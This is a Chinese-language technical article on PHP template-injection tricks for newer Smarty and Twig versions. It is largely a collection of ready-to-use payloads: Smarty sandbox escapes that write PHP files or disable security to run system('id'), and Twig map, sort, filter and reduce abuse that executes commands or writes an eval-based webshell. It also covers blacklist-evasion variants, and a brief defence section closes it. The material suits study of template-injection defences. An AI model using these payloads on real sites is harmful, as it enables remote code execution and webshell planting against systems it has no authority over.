php高版本模版注入tricks
字数 1038 2025-08-29 08:32:24
PHP高版本模板注入技巧详解
背景介绍
PHP常见的模板引擎主要有两种:Twig和Smarty。随着版本升级,安全策略增强以及黑名单机制的实施,传统的RCE方法变得难以利用。本文将详细分析高版本下的模板注入技巧。
Smarty模板注入
低版本利用手法
-
CISCN2019 Web11案例:
- 通过
X-Forwarded-For头插入payload实现RCE - 示例payload:
{if system('cat /flag')}{/if}
- 通过
-
3.1以下版本特有方法:
- 使用
{php}标签直接调用函数:{php}phpinfo();{/php} - 3.1+版本已禁用此标签,仅在SmartyBC中可用
- 使用
-
{literal}标签利用:
- 配合PHP5的特殊标签:
<script language="php">phpinfo();</script>
- 配合PHP5的特殊标签:
-
3.1.30之前版本文件读写:
- 利用
getStreamVariable方法:
public function getStreamVariable($variable) { $_result = ''; $fp = fopen($variable, 'r+'); if ($fp) { while (!feof($fp) && ($current_line = fgets($fp)) !== false) { $_result .= $current_line; } fclose($fp); return $_result; } } - 利用
-
<3.31版本命令执行:
- 通过注释闭合实现文件包含:
*/phpinfo();/* - 相关漏洞:CVE-2017-1000480
- 通过注释闭合实现文件包含:
高版本利用方法
-
基本沙盒绕过:
?poc=string:{$s=$smarty.template_object->smarty} {$fp=$smarty.template_object->compiled->filepath} {Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php phpinfo();",$s)} -
禁用安全模式:
?poc=string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system(\'id\')}')} -
函数定义绕过:
?poc=string:{function+name='rce(){};system("id");function+'}{/function}- 注意:某些黑名单可能检查"function"关键字,可尝试大写绕过
-
严格沙盒模式下的绕过:
- 当display函数被禁用时,可使用fetch函数实现相同效果
Twig模板注入
低版本利用手法
- 1.x版本:
- 利用
_self变量调用Twig_Enviroment的getfilter方法 - 底层通过
call_user_func实现RCE
- 利用
高版本利用方法(2.x/3.x)
-
过滤器利用:
{{"<?php phpinfo(); eval($_POST[1])":"/var/www/html/1.php"}|map("file_put_contents")}} {{["id",0]|sort("system")}} {{["id"]|filter("system")}} {{[0,0]|reduce("system","id")}}- 利用了
map、sort、filter、reduce四种构造器 - 底层原理:调用
array_filter、array_reduce、array_map等函数
- 利用了
-
创新payload示例:
{{["galf/"," tac"]|join|reverse|split("")|filter("system")}}- 通过
join拼接字符串,reverse反转,split分割为数组 - 最终通过
filter执行系统命令
- 通过
防御措施
-
Smarty防御:
- 使用最新版本
- 配置严格的安全策略
- 禁用危险函数和方法
-
Twig防御:
- 限制过滤器使用
- 禁用危险函数
- 对用户输入进行严格过滤
总结
高版本模板注入虽然难度增加,但通过深入理解模板引擎的工作原理和安全机制,仍然可以找到有效的利用方法。安全人员应关注这些技巧,以便更好地防御此类攻击。